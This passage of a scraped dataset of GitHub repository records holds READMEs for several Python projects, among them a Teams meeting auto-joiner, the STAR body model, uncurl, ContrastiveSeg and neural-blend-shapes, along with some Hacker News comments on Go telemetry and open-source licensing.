years:https://techcrunch.com/2022/03/24/dma-political-agreement/<HN_SEP>Good honest comments as to why such an app is not possible.<HN_SEP>https://www.theregister.com/2023/02/10/googles_go_programmin...\nhttps://github.com/golang/go/discussions/58409<HN_SEP>I mean, I wasn\u2019t really surprised here, with this being Google always finding ways to collect data on just about anything to make money.Remember, cooperations don\u2019t give a crap about you at all when it comes to profits and headcount, so it isn\u2019t worth signing up and investing a huge amount of your \u2018dreams\u2019 to \u2018get into a corporation\u2019 all to get exploited and used in the end.Go team, Kubernetes Team or any team or product by a corporation is all motivated by profit and a good image and nothing else.I am sure engineers these days are smart enough to see patterns in data, puzzles or solving problems by creating algorithms, they must be also smart enough not to be na\u00efve to think that companies care about them.<HN_SEP>You seem way too invested into1. a programming language2. the telemetry proposalI like Go, I would never use the words \"hopes and dreams\" to refer to it (or any other language). And the telemetry proposal isn't as apocalyptic as you're making it out to be either.Why the drama. This seems more like a personal emotional regulation problem than anything else.<HN_SEP>This situation is morally a bit muddled. For that reason, it is not a \"teachable moment\". I'd let this slide.<HN_SEP>GPLv3 vs BSDIf it matters hire a lawyer because there's no GNU Enforcement Agency.Not that I don't love GPL philosophically, but copy-left is only as strong as the good-will of others and my willingness to lawyer up against people who violate it.Good luck.<HN_SEP>1. The person who submitted the pull request is about to cause that other project to violate your copyright, which will cause it significant inconvenience if discovered. Regardless of whether the student making that pull request understands what they're doing, I think it would be good to warn the project.2. If you want the upstream project to benefit from your code, you might consider selectively re-licensing that portion of it under the same licence (or a compatible one). This should include appropriate boilerplate headers and/or SPDX identifiers, if upstream uses them.3. An appropriately phrased warning will benefit the student, who has the opportunity to learn the basics of copyright before they accidentally copy a few thousand lines of code from somebody with a legal department.--edit: I believe I've located the project and PR in question. Given the context in the thread, if you decide that you're OK with code from your implementation being used as-is under the terms of the BSD license then I think a comment to that effect in the PR would be helpful to all involved.<HN_SEP>No<HN_SEP>I'd say don't bother because you can implement this functionality as a separate program.<HN_SEP>I don't know whether or not it would be rejected, but it seems to me like a reasonable addition.  Go for it.3 possibilities:1. It gets accepted.  People who don't care about it can ignore it.  People who want to take advantage of it will.  You get bragging rights, you benefit, and others benefit.2. It gets rejected.  Assuming your proposed patch is made public, then it will be of benefit to someone who wants to include it themself in their own build, and it can serve as an educational aid to someone who wants to understand the codebase more.  You can still point to the PR as evidence of your activity and support for FOSS software.  You still benefit, and it may benefit others, depending on their activity.3. You don't submit the PR at all.  You benefit from the personal knowledge that you gained, but it is very difficult to demonstrate/prove that to anyone, and any work that you did will not benefit anyone else.In other words, just do it.  That's my suggestion.  It's your life, and at the end of the year, would you rather have tried and failed, or let someone here talk you out of trying at all?  Your only choice is whether or not to try.  If you succeed, then that makes it even better.  But DO NOT pass up opportunities to try to do things like this.Context: I just had the same opportunity, but with Manim, so I decided to record the process (it's now on YouTube), and I submitted the PR to Manim last night.<HN_SEP>The GNU core utils mailing list is probably a better place to ask...https://savannah.gnu.org/mail/?group=coreutils<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "TobiasPankner/Teams-Auto-Joiner", "link": "https://github.com/TobiasPankner/Teams-Auto-Joiner", "tags": [], "stars": 515, "description": "Python script to automatically join Microsoft Teams meetings.", "lang": "Python", "repo_lang": "", "readme": "# Teams-Auto-Joiner\n[![GitHub stars](https://img.shields.io/github/stars/TobiasPankner/Teams-Auto-Joiner.svg?style=social&label=Star)](https://GitHub.com/TobiasPankner/Teams-Auto-Joiner/stargazers/)\n[![Donate](https://img.shields.io/badge/Donate-PayPal-green.svg)](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=3TU2XDBK2JFU4&source=url)\n\n- [Prerequisites](#prerequisites)\n- [Configuration options](#configuration-options)\n- [Run the script](#run-the-script)\n\nPython script to automatically join Microsoft Teams meetings.\nAutomatically turns off your microphone and camera before joining. Automatic login and blacklist can be set in the config file.\n\nAlways joins the newest meeting and leaves either after a specified time, if you are the last person in the meeting or only if a new one is available (see [Configuration options](#configuration-options) for more information).\nI also made a short tutorial video on how to setup the bot: https://youtu.be/YgkSOqfIjf4\n\n![Demo](https://imgur.com/VQOJl8w.gif)\n\n## Prerequisites  \n  \n - Python3 ([Download](https://www.python.org/downloads/))  \n   \n## Configuration options  \n  \n- **email/password:**  \nThe email/password of your Microsoft account. In case you don't want to store your credentials on disk, you can leave any of them empty and you will be prompted to enter them. If you leave them empty in the prompt too, you will have to enter them in the browser.   \n\n- **run_at_time:**  \nTime to start the script at. Input is a string of the hour and minute in 24h format, if you want it to start immediately leave this empty. \nIf a time before the current time is given, the next day is used. Also make sure that you entered your email and password.\nFor example, if you want the script to start searching meetings at 6 in the morning on the next day, you would input `06:00` in the config.\n\n- **meeting_mode:**\nChange which meetings should be joined. Modes 1, 2 and 3 are available.  \n`1` Both channel and calendar meetings  \n`2` Only channel meetings  \n`3` Only calendar meetings  \n\n- **organisation_num:**\nIf your Teams account is in multiple organisations, as seen in the example below, change the organisation_num to the number of the list item (counting starts from 0), \nset to -1 to never change organisation.  \n\n    <img width=\"30%\" src=\"https://imgur.com/4NTVrqj.png\">\n\n- **random_delay:**\nAdds a random delay (random integer between the two parameters, in seconds) before joining a meeting. Can be useful so the bot seems more \"human like\" or to avoid being one of the first few people to join a meeting. For a fixed delay, set both parameters to the same Integer.  \neg: [30,30] will add a fixed delay of 30s before joining the meet.\n\n- **check_interval:**\nThe amount of seconds to wait before checking for meetings again. Only integer numbers greater than 1 are allowed.\n\n- **join_message:**\nA chat message sent when a meeting is joined.\n\n- **auto_leave_after_min:**\nIf set to a value greater than zero, the bot leaves every meeting after the specified time (in minutes). Useful if you know the length of your meeting, if this is left a the default the bot will stay in the meeting until a new one is available.\n\n- **leave_if_last:**\nIf true, leaves the meeting if you are the last person in it.\n\n- **leave_threshold_number:**\nSets the threshold for people to leave the meeting before the bot leaves the meeting.  \nFor example:  \nPeak members of meeting: 20  \nCurrent members of meeting: 5  \nLeave threshold set to 15  \nBecause 15 people have left the meeting, the bot leaves.  \n(Must enable leave_if_last for this to work) \n\n- **leave_threshold_percentage:**\nSets the threshold percentage of people still in the meeting before auto leaving. The same as \nleave_threshold_number but with percentage of the current members to the peak.  \n(Must enable leave_if_last for this to work)\n\n- **pause_search:**\nIf true, doesn't search for new meetings while there is one active. Keep in mind to set auto_leave_after_min or leave_if_last,\notherwise the bot will not search for meetings again.\n\n- **headless:**\nIf true, runs Chrome in headless mode (does not open GUI window and runs in background).\n\n- **mute_audio:**\nIf true, mutes all sound output of the browser. This doesn't effect your microphone.\n\n- **chrome_type:**\nValid options: `google-chrome`, `chromium`, `msedge`. By default, google chrome is used, but the script can also be used with Chromium or Microsoft Edge.\n\n- **blacklist:**\nA list of Teams and their channels to ignore. Meetings ocurring in these channels will not be joined.\nIf you have a Team called \"Test1\" and, within that, two channels called \"General\" and \"Channel1\" and you don't want to join meetings in the \"General\" Channel:  \n    ```json\n    \"blacklist\": [\n      {\n        \"team_name\": \"Test1\",\n        \"channel_names\": [\n          \"General\"\n        ]\n      }\n    ]\n    ```\n   If you want to blacklist all the channels in a team, leave the square brackets empty: `\"channel_names\": []`.\n\n- **blacklist_meeting_re:**\nIf calendar meeting title matches a regular expression, it goes to blacklist.\nLeave empty to attend to all calendar meetings.  \n\n- **discord_webhook_url:**\nFor getting Discord notifications you have to specify a [Discord webhook url](https://support.discord.com/hc/en-us/articles/228383668-Intro-to-Webhooks).  \n\n    ```json \n    \"discord_webhook_url\" : \"your_discord_channel_webHook_url\" \n    ```\n\n## Run the script\n\n 1. Rename the [config.json.example](config.json.example) file to \"config.json\"\n 2. Edit the \"config.json\" file to fit your preferences (optional)\n 3. Install dependencies:   ```pip install -r requirements.txt```\n 4. Run [auto_joiner.py](auto_joiner.py): `python auto_joiner.py`\n 5. After starting, teams might be in Grid view, if this is the case change the view to list [(How to do)](https://support.microsoft.com/en-us/office/view-and-organize-your-teams-b9dd0d8c-243a-43a4-9501-ec8017fec32e)\n<img src=\"https://i.imgur.com/GODoJYf.png?2\" width=\"300\" height=\"245\" />\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "ahmedosman/STAR", "link": "https://github.com/ahmedosman/STAR", "tags": ["smpl", "smplx", "human", "body", "pose-estimation", "graphics-3d", "eccv2020", "3d-models", "graphics"], "stars": 515, "description": "ECCV2020 - Official code repository for the paper : STAR - A Sparse Trained Articulated Human Body Regressor", "lang": "Python", "repo_lang": "", "readme": "## STAR: Sparse Trained Articulated Human Body Regressor \n\n<!-- TODO: Replace with our arxiv link -->\n<!-- [![report](https://img.shields.io/badge/arxiv-report-red)](https://arxiv.org/abs/1912.05656) -->\n\n[[Project Page](https://star.is.tue.mpg.de/)] \n[[Paper](https://ps.is.tuebingen.mpg.de/uploads_file/attachment/attachment/618/star_paper.pdf)]\n[[Supp. Mat.](https://ps.is.tuebingen.mpg.de/uploads_file/attachment/attachment/619/star_supmat.pdf)]\n\n<p align=\"center\">\n  <img src=\"./images/main_teaser.png\" />\n</p>\n\n\n## Table of Contents\n  * [License](#license)\n  * [Description](#description)\n    * [Content](#content)\n    * [Installation and Usage](#Installation)\n    * [SMPL Comparison](#SMPLComparison)\n  * [Citation](#citation)\n  * [Acknowledgments](#acknowledgments)\n  * [Contact](#contact)\n\n\n## License\n\nSoftware Copyright License for non-commercial scientific research purposes.\nPlease read carefully the [LICENSE file](https://github.com/ahmedosman/STAR/blob/master/LICENSE) and any accompanying\ndocumentation before you download and/or use the STAR model and\nsoftware, (the \"Data & Software\"). By downloading and/or using the\nData & Software (including downloading, cloning, installing, and any other use\nof the corresponding github repository), you acknowledge that you have read\nthese [terms and conditions](https://github.com/ahmedosman/STAR/blob/master/LICENSE) in the LICENSE file, understand them, and agree to be bound by them. If\nyou do not agree with these [terms and conditions](https://github.com/ahmedosman/STAR/blob/master/LICENSE), you must not download and/or\nuse the Data & Software. Any infringement of the terms of this agreement will\nautomatically terminate your rights under this [License](https://github.com/ahmedosman/STAR/blob/master/LICENSE)\n\n\n## Description\n\nSTAR - A **S**parse **T**rained  **A**rticulated Human Body **R**egressor is a generateive 3D human body model, that is designed to be a drop-in replacement for the widely used SMPL model.\nSTAR is trained on a large dataset of 14,000 human subjects, with a learned set of sparse and spatially local pose corrective \nblend shapes. In the Figure below, a single joint movement only influences a sparse set of the model vertices. The mesh vertices in \ngray are not affected by the joint movement. In contrast, for SMPL, bending the left elbow causes a bulge in the right elbow.  <br/>\nSTAR is publicly avaiable with the full 300 principal-component shape space for research purposes from our website https://star.is.tue.mpg.de/\n\n<p align=\"center\">\n  <img src=\"./images/sparse_pose_correctives.png\" />\n</p>\n\n\n For more details, please see our ECCV paper\n[STAR: Sparse Trained Articulated Human Body Regressor](https://ps.is.mpg.de/uploads_file/attachment/attachment/618/star_paper.pdf).\n\n## Content\nThis repository contains the model loader for the following auto-differention frameworks:\n* PyTorch. \n* Tensorflow 2.0.\n* Chumpy.\n\nCode tested on Python 3.69, CUDA 10.1, CuDNN 7.6.5 and PyTorch 1.6.0, Tensorflow 2.3, Chumpy 0.69 on Ubuntu 18.04\n\n## Installation \n\n### Install \n\nWe recommend doing the following in a python3 virtual environment.\n\n1. Clone the repository: \n\n```Shell\ngit clone git@github.com:ahmedosman/STAR.git\n```\n2. Install your favorite framework <br/>\nChumpy\n```\npip install chumpy==0.69\npip install opencv-python\n```\n\nPyTorch\n```\npip install pytorch==1.6\n```\n\nTensorflow\n```\npip install tensorflow-gpu==2.3\n```\n5. Download the models from our website https://star.is.tue.mpg.de/\n\n6. Update the model paths in the config.py file.\n```python\npath_male_star = '/mypath/male/model.npz'\npath_female_star = '/mypath/female/model.npz'\npath_neutral_star = '/mypath/neutral/model.npz'\n```\n\n7. Install with pip\n```\npip install .\n```\n\n### Usage\n\nUnder demos/* there are scripts demonstrating how to load and use the model in all frameworks. \n```bash\n    $PATH_TO_REPO/\n    \u251c\u2500\u2500 demos\n    \u2502   \u2502\n    \u2502   \u251c\u2500\u2500 compare_frameworks.py #Unit test script constructing the model with three frameworks and comparing the output\n    \u2502   \u2514\u2500\u2500 load_chumpy.py        #A script demonstrating loading the model in chumpy\n    \u2502   \u2514\u2500\u2500 load_tf.py            #A script demonstrating loading the model in Tensorflow\n    \u2502   \u2514\u2500\u2500 load_torch.py         #A script demonstrating loading the model in PyTorch\n    \u2502   \u2514\u2500\u2500 profile_tf.py         #A script profiling the STAR graph as a function of batch Size in Tensorflow\n    |   \u2514\u2500\u2500 profile_torch.py      #A script profiling the STAR graph as a function of batch Size in PyTorch\n```\n\n## SMPL Comparison \nSTAR is designed to be a drop in replacement for SMPL, similar to SMPL it is parameterised with pose and shape parameters, with the same template\nresolution and kinematic tree. \n\n<p align=\"center\">\n  <img src=\"./images/smpl_vs_star.jpeg\" />\n</p>\n\n### STAR Kinematic Tree\n<p align=\"center\">\n  <img src=\"./images/star_kinematic_tree.png\" />\n</p>\n\n\n\n\n## Citation\n\nIf you find this Model & Software useful in your research we would kindly ask you to cite:\n\n```bibtex\n      author = {Osman, Ahmed A A and Bolkart, Timo and Black, Michael J.},\n      title = {{STAR}: A Sparse Trained Articulated Human Body Regressor},\n      booktitle = {European Conference on Computer Vision (ECCV)},\n      pages = {598--613},\n      year = {2020},\n      url = {https://star.is.tue.mpg.de}\n}    \n```\n\n## Acknowledgments\nWe thank Naureen M. Mahmood, Talha Zaman,  Nikos Athanasiou, Joachim Tesch, Muhammed Kocabas, Nikos Kolotouros and Vassilis Choutas for the discussions \nand Sai Kumar Dwivedi, Lea Muller, Amir Ahmad and Nitin Saini for proof reading the script and\nMason Landry for the video voice over and Benjamin Pellkofer for the IT support.\n\n## Contact\n\nFor questions, please contact [star@tue.mpg.de](mailto:star@tue.mpg.de). \n\nFor commercial licensing (and all related questions for business applications), please contact [ps-license@tue.mpg.de](mailto:ps-license@tue.mpg.de).\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "spulec/uncurl", "link": "https://github.com/spulec/uncurl", "tags": [], "stars": 515, "description": "A library to convert curl requests to python-requests.", "lang": "Python", "repo_lang": "", "readme": "# Uncurl - Converting curl requests to python-requests\n\n[![Build Status](https://travis-ci.org/spulec/uncurl.png?branch=master)](https://travis-ci.org/spulec/uncurl)\n\n# In a nutshell\n\nUncurl is a library that allows you to convert curl requests into python code that uses [Requests](github.com/kennethreitz/requests). Since the Chrome network inspector has a nifty \"Copy as cURL\", this tool is useful for recreating browser requests in python.\n\nWhen you don't pass any arguments to uncurl, it will use whatever is in your clipboard as the curl command.\n\n\n## Example\n\n```bash\n$ uncurl \"curl 'https://pypi.python.org/pypi/uncurl' -H 'Accept-Encoding: gzip,deflate,sdch' -H 'Accept-Language: en-US,en;q=0.8' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Cache-Control: max-age=0' -H 'Cookie: foo=bar;' -H 'Connection: keep-alive' --compressed\"\nrequests.get(\"https://pypi.python.org/pypi/uncurl\", headers={\n    \"Accept-Encoding\": \"gzip,deflate,sdch\",\n    \"Accept-Language\": \"en-US,en;q=0.8\",\n    \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36\",\n    \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\",\n    \"Cache-Control\": \"max-age=0\",\n    \"Connection\": \"keep-alive\",\n}, cookies={\n    \"foo\": \"bar\",\n})\n```\n\nThe underlying API:\n\n```python\nimport uncurl\n\nprint(uncurl.parse(\"curl 'https://pypi.python.org/pypi/uncurl' -H 'Accept-Encoding: gzip,deflate,sdch'\"))\n```\n\nprints the string\n\n```bash\n'requests.get(\"https://pypi.python.org/pypi/uncurl\", headers={\n    \"Accept-Encoding\": \"gzip,deflate,sdch\",\n})'\n```\n\nYou can also retrieve the components as python objects:\n\n```python\n>>> import uncurl\n>>> context = uncurl.parse_context(\"curl 'https://pypi.python.org/pypi/uncurl' -H 'Accept-Encoding: gzip,deflate,sdch'\")\n>>> context.url\nhttps://pypi.python.org/pypi/uncurl\n>>> context.headers\nOrderedDict([('Accept-Encoding', 'gzip,deflate,sdch')])\n```\nOn Mac OS, you can also pipe input to uncurl:\n\n```bash\npbpaste | uncurl\n```\n\n## Install\n\n```console\n$ pip install uncurl\n```\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "confucianzuoyuan/bookstore", "link": "https://github.com/confucianzuoyuan/bookstore", "tags": [], "stars": 515, "description": "\u4f7f\u7528Django\u7f16\u5199\u4e00\u4e2a\u4e66\u57ce\u7535\u5546\u7f51\u7ad9\uff0c\u914d\u5408\u8be6\u7ec6\u7684\u6559\u7a0b\u3002", "lang": "Python", "repo_lang": "", "readme": "#bookstore\nUse Django to write a bookstore e-commerce website, with detailed tutorials.", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "tfzhou/ContrastiveSeg", "link": "https://github.com/tfzhou/ContrastiveSeg", "tags": ["semantic-segmentation", "contrastive-learning", "pixel-contrast", "hard-example-mining", "cityscapes", "pascal-context"], "stars": 515, "description": "ICCV2021 (Oral) - Exploring Cross-Image Pixel Contrast for Semantic Segmentation", "lang": "Python", "repo_lang": "", "readme": "# Exploring Cross-Image Pixel Contrast for Semantic Segmentation\n\n![](figures/framework.png)\n\n> [**Exploring Cross-Image Pixel Contrast for Semantic Segmentation**](https://arxiv.org/abs/2101.11939),            \n> [Wenguan Wang](https://sites.google.com/view/wenguanwang/), [Tianfei Zhou](https://www.tfzhou.com/), [Fisher Yu](https://www.yf.io/), [Jifeng Dai](https://jifengdai.org/), [Ender Konukoglu](https://scholar.google.com/citations?user=OeEMrhQAAAAJ&hl=en) and [Luc Van Gool](https://scholar.google.com/citations?user=TwMib_QAAAAJ&hl=en) <br>\n> *ICCV 2021 (Oral) ([arXiv 2101.11939](https://arxiv.org/abs/2101.11939))*\n\n## News\n\n* [2022-10-13] Our work [GMMSeg: Gaussian Mixture based Generative Semantic Segmentation Models](https://github.com/leonnnop/GMMSeg) has been accepted to NeurIPS'22.\n* [2022-03-20] Our work [Rethinking Semantic Segmentation: A Prototype View](https://github.com/tfzhou/ProtoSeg) has been accepted to CVPR'22 as an **Oral paper**. \n* [2021-07-28] ContrastiveSeg has been accepted in ICCV'21 as Oral.\n* [2021-07-28] Update memory code.\n* [2021-07-01] The codebase has been transferred from Pytorch-0.4.1 to Pytorch-1.7.1, which will be easier for usage.\n\n## Abstract\n\nCurrent semantic segmentation methods focus only on\nmining \u201clocal\u201d context, i.e., dependencies between pixels\nwithin individual images, by context-aggregation modules\n(e.g., dilated convolution, neural attention) or structureaware optimization criteria (e.g., IoU-like loss). However, they ignore \u201cglobal\u201d context of the training data, i.e.,\nrich semantic relations between pixels across different images. Inspired by the recent advance in unsupervised contrastive representation learning, we propose a pixel-wise\ncontrastive framework for semantic segmentation in the\nfully supervised setting. The core idea is to enforce pixel\nembeddings belonging to a same semantic class to be more\nsimilar than embeddings from different classes. It raises a\npixel-wise metric learning paradigm for semantic segmentation, by explicitly exploring the structures of labeled pixels, which are long ignored in the field. Our method can be\neffortlessly incorporated into existing segmentation frameworks without extra overhead during testing.\n\nWe experimentally show that, with famous segmentation models (i.e.,\nDeepLabV3, HRNet, OCR) and backbones (i.e., ResNet, HRNet), our method brings consistent performance improvements across diverse datasets (i.e., Cityscapes, PASCALContext, COCO-Stuff).\n\n## Installation\n\nThis implementation is built on [openseg.pytorch](https://github.com/openseg-group/openseg.pytorch). Many thanks to the authors for the efforts.\n\nPlease follow the [Getting Started](https://github.com/openseg-group/openseg.pytorch/blob/master/GETTING_STARTED.md) for installation and dataset preparation.\n\n## Performance\n\n### Cityscapes Dataset\n\n| Backbone  | Model      | Train Set | Val Set | Iterations | Batch Size | Contrast Loss | Memory | mIoU  | Log | CKPT |Script |\n| --------- | ---------- | --------- | ------- | ---------- | ---------- | ------------- | ------ | ----- | --- | ----   | ----   |\n| ResNet-101| DeepLab-V3 |train     | val     | 40000      | 8          | N             | N      | 72.75 | [log](https://github.com/tfzhou/pretrained_weights/releases/download/v0.1/deeplab_v3_deepbase_resnet101_dilated8_deeplab_v3.log) | [ckpt](https://github.com/tfzhou/pretrained_weights/releases/download/v0.1/deeplab_v3_deepbase_resnet101_dilated8_deeplab_v3_max_performance.pth) |```scripts/cityscapes/deeplab/run_r_101_d_8_deeplabv3_train.sh```|\n| ResNet-101| DeepLab-V3 |train     | val     | 40000      | 8          | Y             | N      | 77.67 | [log](https://github.com/tfzhou/pretrained_weights/releases/download/v0.1/deeplab_v3_contrast_deepbase_resnet101_dilated8_deeplab_v3_contrast.log) | [ckpt](https://github.com/tfzhou/pretrained_weights/releases/download/v0.1/deeplab_v3_contrast_deepbase_resnet101_dilated8_deeplab_v3_contrast_max_performance.pth) |```scripts/cityscapes/deeplab/run_r_101_d_8_deeplabv3_contrast_train.sh```|\n| HRNet-W48 | HRNet-W48  |train     | val     | 40000      | 8          | N             | N      | 79.27 | [log](https://github.com/tfzhou/pretrained_weights/releases/download/v0.1/hrnet_w48_lr1x_hrnet_ce.log) | [ckpt](https://github.com/tfzhou/pretrained_weights/releases/download/v0.1/hrnet_w48_lr1x_hrnet_ce_max_performance.pth) |```scripts/cityscapes/hrnet/run_h_48_d_4.sh```|\n| HRNet-W48 | HRNet-W48  |train     | val     | 40000      | 8          | Y             | N      | 80.18 | [log](https://github.com/tfzhou/pretrained_weights/releases/download/v0.1/hrnet_w48_contrast_lr1x_hrnet_contrast_t0.1.log) | [ckpt](https://github.com/tfzhou/pretrained_weights/releases/download/v0.1/hrnet_w48_contrast_lr1x_hrnet_contrast_t0.1_max_performance.pth) |```scripts/cityscapes/hrnet/run_h_48_d_4_contrast.sh```|\n\n_It seems that the DeepLab-V3 baseline does not produce the expected performance on the new codebase. I will tune this later._\n\n\n### Study of the temperature\n| Backbone  | Train Set | Val Set | Iterations | Batch Size | Temperature   | mIoU  |\n| --------- | --------- | ------- | ---------- | ---------- | ------------- | ----- |\n| HRNet-W48 | train     | val     | 40000      | 8          | 0.05          | 79.80 |\n| HRNet-W48 | train     | val     | 40000      | 8          | 0.07          | 79.59 |\n| HRNet-W48 | train     | val     | 40000      | 8          | 0.10          | **80.18** |\n| HRNet-W48 | train     | val     | 40000      | 8          | 0.20          | 80.01 |\n| HRNet-W48 | train     | val     | 40000      | 8          | 0.30          | 79.27 |\n| HRNet-W48 | train     | val     | 40000      | 8          | 0.40          | 79.40 |\n\n\n## t-SNE Visualization\n\n* Pixel-wise Cross-Entropy Loss\n<p align=\"center\">\n  <img src=\"figures/tsne1.png\" width=\"400\">\n</p>\n\n* Pixel-wise Contrastive Learning Objective \n  \n<p align=\"center\">\n  <img src=\"figures/tsne2.png\" width=\"400\">\n</p>  \n\n## Citation\n```\n@inproceedings{Wang_2021_ICCV,\n    author    = {Wang, Wenguan and Zhou, Tianfei and Yu, Fisher and Dai, Jifeng and Konukoglu, Ender and Van Gool, Luc},\n    title     = {Exploring Cross-Image Pixel Contrast for Semantic Segmentation},\n    booktitle = {Proceedings of the IEEE/CVF International Conference on Computer Vision (ICCV)},\n    year      = {2021},\n    pages     = {7303-7313}\n}\n```\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "SensorsIot/SuperPower", "link": "https://github.com/SensorsIot/SuperPower", "tags": [], "stars": 515, "description": "Here you should find the best power supplies for your low-power projects", "lang": "Python", "repo_lang": "", "readme": "# SuperPower\nHere you should find the best power supplies for your low-power projects. Because of different requirements for an Raspberry Pi and micro-controllers like the ESP32 we split the project into two boards, one for the Raspberry Pi (SuperPower-Rpi) and one for micro-controllers (SuperPower-uC) with low power.\n\n##### [SuperPower-Rpi](/SuperPower-RPi/) for Raspberry Pi\n\n##### [SuperPower-uC](/SuperPower-uC/) for micro-controllers and low-power devices\n\n## Licence\n\nAll hardware designs and products you can find in this repository is licensed under [CERN Open Hardware Licence Version 2 - Weakly Reciprocal](/LICENCE.txt)\n\n## Relevant links\n\n[Discord Channel](https://discord.gg/dCr86Hk)  \n\n[Google Drive Project Files](https://drive.google.com/drive/folders/1lCirijHUkISdUYBIRblkILHM6fstifWS)\n\n[![Video](http://img.youtube.com/vi/-SJbdPvgQnE/0.jpg)](https://www.youtube.com/watch?v=-SJbdPvgQnE \"Video\")\n\n[GitHub Project](https://github.com/SensorsIot/SuperPower)\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "PeizhuoLi/neural-blend-shapes", "link": "https://github.com/PeizhuoLi/neural-blend-shapes", "tags": ["computer-graphics", "computer-animation", "deep-learning", "character-animation", "rigging-framework"], "stars": 515, "description": "An end-to-end library for automatic character rigging, skinning, and blend shapes generation, as well as a visualization tool [SIGGRAPH 2021]", "lang": "Python", "repo_lang": "", "readme": "# Learning Skeletal Articulations with Neural Blend Shapes\n\n![Python](https://img.shields.io/badge/Python->=3.8-Blue?logo=python)  ![Pytorch](https://img.shields.io/badge/PyTorch->=1.8.0-Red?logo=pytorch)\n![Blender](https://img.shields.io/badge/Blender-%3E=2.8-Orange?logo=blender)\n\nThis repository provides an end-to-end library for automatic character rigging, skinning, and blend shapes generation, as well as a visualization tool. It is based on our work [Learning Skeletal Articulations with Neural Blend Shapes](https://peizhuoli.github.io/neural-blend-shapes/index.html) that is published in SIGGRAPH 2021.\n\n<img src=\"https://peizhuoli.github.io/neural-blend-shapes/images/video_teaser.gif\" slign=\"center\">\n\n## Prerequisites\n\nOur code has been tested on Ubuntu 18.04. Before starting, please configure your Anaconda environment by\n\n~~~bash\nconda env create -f environment.yaml\nconda activate neural-blend-shapes\n~~~\n\nOr you may install the following packages (and their dependencies) manually:\n\n- pytorch 1.8\n- tensorboard\n- tqdm\n- chumpy\n\nNote the provided environment only includes the PyTorch CPU version for compatibility consideration.\n\n## Quick Start\n\nWe provide a pretrained model that is dedicated for biped characters. Download and extract the pretrained model from [Google Drive](https://drive.google.com/file/d/1S_JQY2N4qx1V6micWiIiNkHercs557rG/view?usp=sharing) or [Baidu Disk](https://pan.baidu.com/s/1y8iBqf1QfxcPWO0AWd2aVw) (9ras) and put the `pre_trained` folder under the project directory. Run\n\n~~~bash\npython demo.py --pose_file=./eval_constant/sequences/greeting.npy --obj_path=./eval_constant/meshes/maynard.obj\n~~~\n\nThe nice greeting animation showed above will be saved in `demo/obj` as obj files. In addition, the generated skeleton will be saved as `demo/skeleton.bvh` and the skinning weight matrix will be saved as `demo/weight.npy`. If you need the bvh file animated, you may specify `--animated_bvh=1`.\n\nIf you are interested in traditional linear blend skinning (LBS) technique result generated with our rig, you can specify `--envelope_only=1` to evaluate our model only with the envelope branch.\n\nWe also provide other several meshes and animation sequences. Feel free to try their combinations!\n\n\n### FBX Output (New!)\n\nNow you can choose to output the animation as a single fbx file instead of a sequence of obj files! Simply do following:\n\n~~~bash\npython demo.py --animated_bvh=1 --obj_output=0\ncd blender_scripts\nblender -b -P nbs_fbx_output.py -- --input ../demo --output ../demo/output.fbx\n~~~\n\nNote that you need to install Blender (>=2.80) to generate the fbx file. You may explore more options on the generated fbx file in the source code.\n\nThis code is contributed by [@huh8686](https://github.com/huh8686).\n\n### Test on Customized Meshes\n\nYou may try to run our model with your own meshes by pointing the `--obj_path` argument to the input mesh. Please make sure your mesh is triangulated and has a consistent upright and front facing orientation. Since our model requires the input meshes are spatially aligned, please specify `--normalize=1`. Alternatively, you can try to scale and translate your mesh to align the provided `eval_constant/meshes/smpl_std.obj` without specifying `--normalize=1`.\n\n### Evaluation\n\nTo reconstruct the quantitative result with the pretrained model, you need to download the test dataset from [Google Drive](https://drive.google.com/file/d/1RwdnnFYT30L8CkUb1E36uQwLNZd1EmvP/view?usp=sharing) or [Baidu Disk](https://pan.baidu.com/s/1c5QCQE3RXzqZo6PeYjhtqQ) (8b0f) and put the two extracted folders under `./dataset` and run\n\n~~~bash\npython evaluation.py\n~~~\n\n\n## Train from Scratch\n\nWe provide instructions for retraining our model.\n\nNote that you may need to reinstall the PyTorch CUDA version since the provided environment only includes the PyTorch CPU version.\n\nTo train the model from scratch, you need to download the training set from [Google Drive](https://drive.google.com/file/d/1RSd6cPYRuzt8RYWcCVL0FFFsL42OeHA7/view?usp=sharing) or [Baidu Disk](https://pan.baidu.com/s/1J-hIVyz19hKZdwKPfS3TtQ) (uqub) and put the extracted folders under `./dataset`.\n\nThe training process contains tow stages, each stage corresponding to one branch. To train the first stage, please run\n\n~~~bash\npython train.py --envelope=1 --save_path=[path to save the model] --device=[cpu/cuda:0/cuda:1/...]\n~~~\n\nFor the second stage, it is strongly recommended to use a pre-process to extract the blend shapes basis then start the training for much better efficiency by\n\n~~~bash\npython preprocess_bs.py --save_path=[same path as the first stage] --device=[computing device]\npython train.py --residual=1 --save_path=[same path as the first stage] --device=[computing device] --lr=1e-4\n~~~\n\n## Blender Visualization\n\nWe provide a simple wrapper of blender's python API (>=2.80) for rendering 3D mesh animations and visualize skinning weight. The following code has been tested on Ubuntu 18.04 and macOS Big Sur with Blender 2.92.\n\nNote that due to the limitation of Blender, you cannot run Eevee render engine with a headless machine. \n\nWe also provide several arguments to control the behavior of the scripts. 